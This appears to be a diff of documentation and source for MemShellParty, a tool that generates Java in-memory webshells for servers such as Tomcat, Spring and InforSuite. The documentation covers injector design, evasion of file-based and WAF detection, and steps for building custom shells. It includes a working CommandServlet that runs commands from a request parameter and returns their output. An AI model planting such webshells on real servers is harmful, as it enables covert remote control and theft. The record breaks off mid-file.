中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
|
||||||
|
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
|
||||||
|
|
||||||
|
## SpringWebMVC
|
||||||
|
|
||||||
|
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
|
||||||
|
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
|
||||||
|
SpringWebMVC 进行内存马生成。
|
||||||
|
|
||||||
|
## SpringWebFlux
|
||||||
|
|
||||||
|
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
|
||||||
|
SpringWebFlux 进行内存马生成。
|
||||||
|
|
||||||
@@ -1,8 +1,6 @@
|
|||||||
---
|
# Java 内存马简介
|
||||||
title: 什么是 Java 内存马
|
|
||||||
---
|
|
||||||
|
|
||||||
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现 webshell 的所有功能。其唯一缺点可能就是服务重启即失效,不过也出现了附带的内存马复活相关技术。
|
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
|
||||||
|
|
||||||
## 什么是 webshell
|
## 什么是 webshell
|
||||||
|
|
||||||
@@ -12,17 +10,17 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
|
|||||||
|
|
||||||
常见的 webshell 功能包括:
|
常见的 webshell 功能包括:
|
||||||
|
|
||||||
1. 命令回显,反弹 unix shell。
|
1. 命令回显,反弹 unix shell
|
||||||
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
||||||
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
||||||
|
|
||||||
## 演变历程
|
## 演变历程
|
||||||
|
|
||||||
随着攻防对抗强度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施似乎只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||||
|
|
||||||
内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||||
|
|
||||||
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许当你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||||
|
|
||||||
## 常见 Java 内存马
|
## 常见 Java 内存马
|
||||||
|
|
||||||
@@ -32,7 +30,7 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
|
|||||||
|
|
||||||
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
||||||
|
|
||||||
Java EE 中的 Servlet 规范就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也被广泛使用。
|
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
|
||||||
|
|
||||||
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
||||||
|
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
## 如何使用自定义内存马功能
|
||||||
|
|
||||||
|
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
|
||||||
|
|
||||||
|
```java
|
||||||
|
Object context = getContext();
|
||||||
|
Object shell = defineClass(getShellBase64Str());
|
||||||
|
|
||||||
|
inject(context, shell);
|
||||||
|
```
|
||||||
|
|
||||||
|
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
|
||||||
|
|
||||||
|
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
|
||||||
|
|
||||||
|
### 实现参考
|
||||||
|
|
||||||
|
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
|
||||||
|
jakarta,无须重复实现。
|
||||||
|
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
|
||||||
|
方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。
|
||||||
|
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
|
||||||
|
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
|
||||||
|
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、
|
||||||
|
`javax.crypto.Cipher`。
|
||||||
|
|
||||||
|
| 挂载类型 | 参考实现 |
|
||||||
|
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||||
|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||||
|
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||||
|
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||||
|
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||||
|
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||||
|
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||||
|
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||||
|
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||||
|
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||||
|
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||||
|
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||||
|
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||||
|
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||||
|
|
||||||
|
### 参考步骤
|
||||||
|
|
||||||
|
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
|
||||||
|
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
|
||||||
|
3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
|
||||||
|
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||||
|
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
|
||||||
|
After Width: | Height: | Size: 174 KiB |
|
After Width: | Height: | Size: 282 KiB |
|
After Width: | Height: | Size: 92 KiB |
|
After Width: | Height: | Size: 130 KiB |
|
Before Width: | Height: | Size: 232 KiB After Width: | Height: | Size: 232 KiB |
|
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 121 KiB |
|
After Width: | Height: | Size: 326 KiB |
@@ -1,6 +1,4 @@
|
|||||||
---
|
# Java Servlet Filter
|
||||||
title: Filter
|
|
||||||
---
|
|
||||||
|
|
||||||
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
||||||
|
|
||||||
@@ -1,13 +1,11 @@
|
|||||||
---
|
# Event Listeners
|
||||||
title: Listener
|
|
||||||
---
|
|
||||||
|
|
||||||
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
||||||
|
|
||||||
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
|
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
|
||||||
|
|
||||||
| Listener 接口类 | 描述 |
|
| Listener 接口类 | 描述 |
|
||||||
| ------------------------------------------------ | ------------------------------------------ |
|
|--------------------------------------------------|---------------------------------|
|
||||||
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
|
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
|
||||||
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
|
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
|
||||||
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
|
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
# Java Servlet
|
||||||
|
|
||||||
|
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
|
||||||
|
|
||||||
|
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
|
||||||
|
|
||||||
|
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
|
||||||
|
|
||||||
|
## ServletContext
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
|
||||||
|
|
||||||
|
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
|
||||||
|
|
||||||
|
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
|
||||||
|
|
||||||
|
```java
|
||||||
|
addServlet(String servletName, String className);
|
||||||
|
addServlet(String servletName, Servlet servlet);
|
||||||
|
addServlet(String servletName, Class <? extends Servlet> servletClass);
|
||||||
|
addFilter(String filterName, String className);
|
||||||
|
addFilter(String filterName, Filter filter);
|
||||||
|
addFilter(String filterName, Class <? extends Filter> filterClass);
|
||||||
|
void addListener(String className);
|
||||||
|
void addListener(T t);
|
||||||
|
void addListener(Class <? extends EventListener> listenerClass);
|
||||||
|
```
|
||||||
|
|
||||||
|
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
|
||||||
|
|
||||||
|
## HttpServlet
|
||||||
|
|
||||||
|
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
||||||
|
|
||||||
|
```java
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
```
|
||||||
|
|
||||||
|
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
||||||
|
|
||||||
|
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
||||||
|
|
||||||
|
```java
|
||||||
|
@WebServlet(”/foo”)
|
||||||
|
public class CalculatorServlet extends HttpServlet{
|
||||||
|
//...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<url-pattern>/foo</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
```
|
||||||
|
|
||||||
|
## ServletShell
|
||||||
|
|
||||||
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
||||||
|
|
||||||
|
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
||||||
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandServlet extends HttpServlet {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
doPost(req, resp);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
plugins {
|
plugins {
|
||||||
id("java-library")
|
id("java")
|
||||||
alias(libs.plugins.lombok)
|
alias(libs.plugins.lombok)
|
||||||
id("maven-publish-convention")
|
id("maven-publish-convention")
|
||||||
}
|
}
|
||||||
@@ -29,21 +29,17 @@ tasks.test {
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation(project(":memshell-party-common"))
|
implementation(project(":memshell-party-common"))
|
||||||
implementation(project(":packer"))
|
implementation(project(":packer"))
|
||||||
api(libs.byte.buddy)
|
implementation(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
implementation(libs.jakarta.websocket.client.api)
|
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
implementation(libs.jakarta.servlet.api)
|
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.tomcat.embed.core)
|
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
implementation(libs.alibaba.dubbo)
|
|
||||||
implementation(libs.apache.dubbo)
|
|
||||||
implementation(libs.jackson.annotations)
|
|
||||||
implementation(libs.bundles.jna)
|
|
||||||
|
|
||||||
|
implementation(libs.bundles.jna)
|
||||||
|
implementation(libs.bcel)
|
||||||
|
implementation(libs.jackson.databind)
|
||||||
testImplementation(libs.junit.jupiter)
|
testImplementation(libs.junit.jupiter)
|
||||||
testImplementation(libs.hamcrest)
|
testImplementation(libs.hamcrest)
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
|
|||||||
@@ -7,11 +7,9 @@ package com.reajason.javaweb;
|
|||||||
public class Server {
|
public class Server {
|
||||||
public static final String Tomcat = "Tomcat";
|
public static final String Tomcat = "Tomcat";
|
||||||
public static final String Jetty = "Jetty";
|
public static final String Jetty = "Jetty";
|
||||||
public static final String Jetty5 = "Jetty5";
|
|
||||||
public static final String Undertow = "Undertow";
|
public static final String Undertow = "Undertow";
|
||||||
public static final String JBoss = "JBoss";
|
public static final String JBoss = "JBoss";
|
||||||
public static final String Resin = "Resin";
|
public static final String Resin = "Resin";
|
||||||
public static final String Resin2 = "Resin2";
|
|
||||||
public static final String WebLogic = "WebLogic";
|
public static final String WebLogic = "WebLogic";
|
||||||
public static final String WebSphere = "WebSphere";
|
public static final String WebSphere = "WebSphere";
|
||||||
public static final String GlassFish = "GlassFish";
|
public static final String GlassFish = "GlassFish";
|
||||||
@@ -22,6 +20,4 @@ public class Server {
|
|||||||
public static final String SpringWebMvc = "SpringWebMvc";
|
public static final String SpringWebMvc = "SpringWebMvc";
|
||||||
public static final String SpringWebFlux = "SpringWebFlux";
|
public static final String SpringWebFlux = "SpringWebFlux";
|
||||||
public static final String XXLJOB = "XXLJOB";
|
public static final String XXLJOB = "XXLJOB";
|
||||||
public static final String Struts2 = "Struts2";
|
|
||||||
public static final String Dubbo = "Dubbo";
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,23 +1,13 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
import com.reajason.javaweb.GenerationException;
|
||||||
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.DubboServiceInterfaceHelperGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.apache.commons.lang3.Strings;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -34,6 +24,15 @@ public class MemShellGenerator {
|
|||||||
if (server == null) {
|
if (server == null) {
|
||||||
throw new GenerationException("Unsupported server: " + serverName);
|
throw new GenerationException("Unsupported server: " + serverName);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||||
|
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||||
|
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||||
|
}
|
||||||
|
|
||||||
Class<?> injectorClass = null;
|
Class<?> injectorClass = null;
|
||||||
|
|
||||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||||
@@ -48,67 +47,14 @@ public class MemShellGenerator {
|
|||||||
shellToolConfig.setShellClass(shellClass);
|
shellToolConfig.setShellClass(shellClass);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isLambdaSuffix()) {
|
|
||||||
shellToolConfig.setShellClassName(CommonUtil.appendLambdaSuffix(shellToolConfig.getShellClassName()));
|
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.appendLambdaSuffix(injectorConfig.getInjectorClassName()));
|
|
||||||
}
|
|
||||||
|
|
||||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||||
|
|
||||||
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
|
|
||||||
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
|
||||||
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
|
||||||
String interfaceName = packageName + ".I" + simpleName;
|
|
||||||
injectorConfig.setInjectorHelperClassName(interfaceName);
|
|
||||||
injectorConfig.setHelperClassBytes(DubboServiceInterfaceHelperGenerator.getBytes(interfaceName, shellConfig));
|
|
||||||
shellBytes = ClassInterfaceUtils.addInterface(shellBytes, interfaceName);
|
|
||||||
String urlPattern = injectorConfig.getUrlPattern();
|
|
||||||
if (Strings.CS.equalsAny(urlPattern, "/*", "/")
|
|
||||||
|| StringUtils.isBlank(urlPattern)) {
|
|
||||||
injectorConfig.setUrlPattern(interfaceName);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
|
||||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
|
||||||
String helperClassName = shellToolConfig.getShellClassName() + "$1";
|
|
||||||
injectorConfig.setInjectorHelperClassName(helperClassName);
|
|
||||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(helperClassName, shellConfig, shellToolConfig));
|
|
||||||
}
|
|
||||||
|
|
||||||
injectorConfig.setInjectorClass(injectorClass);
|
injectorConfig.setInjectorClass(injectorClass);
|
||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
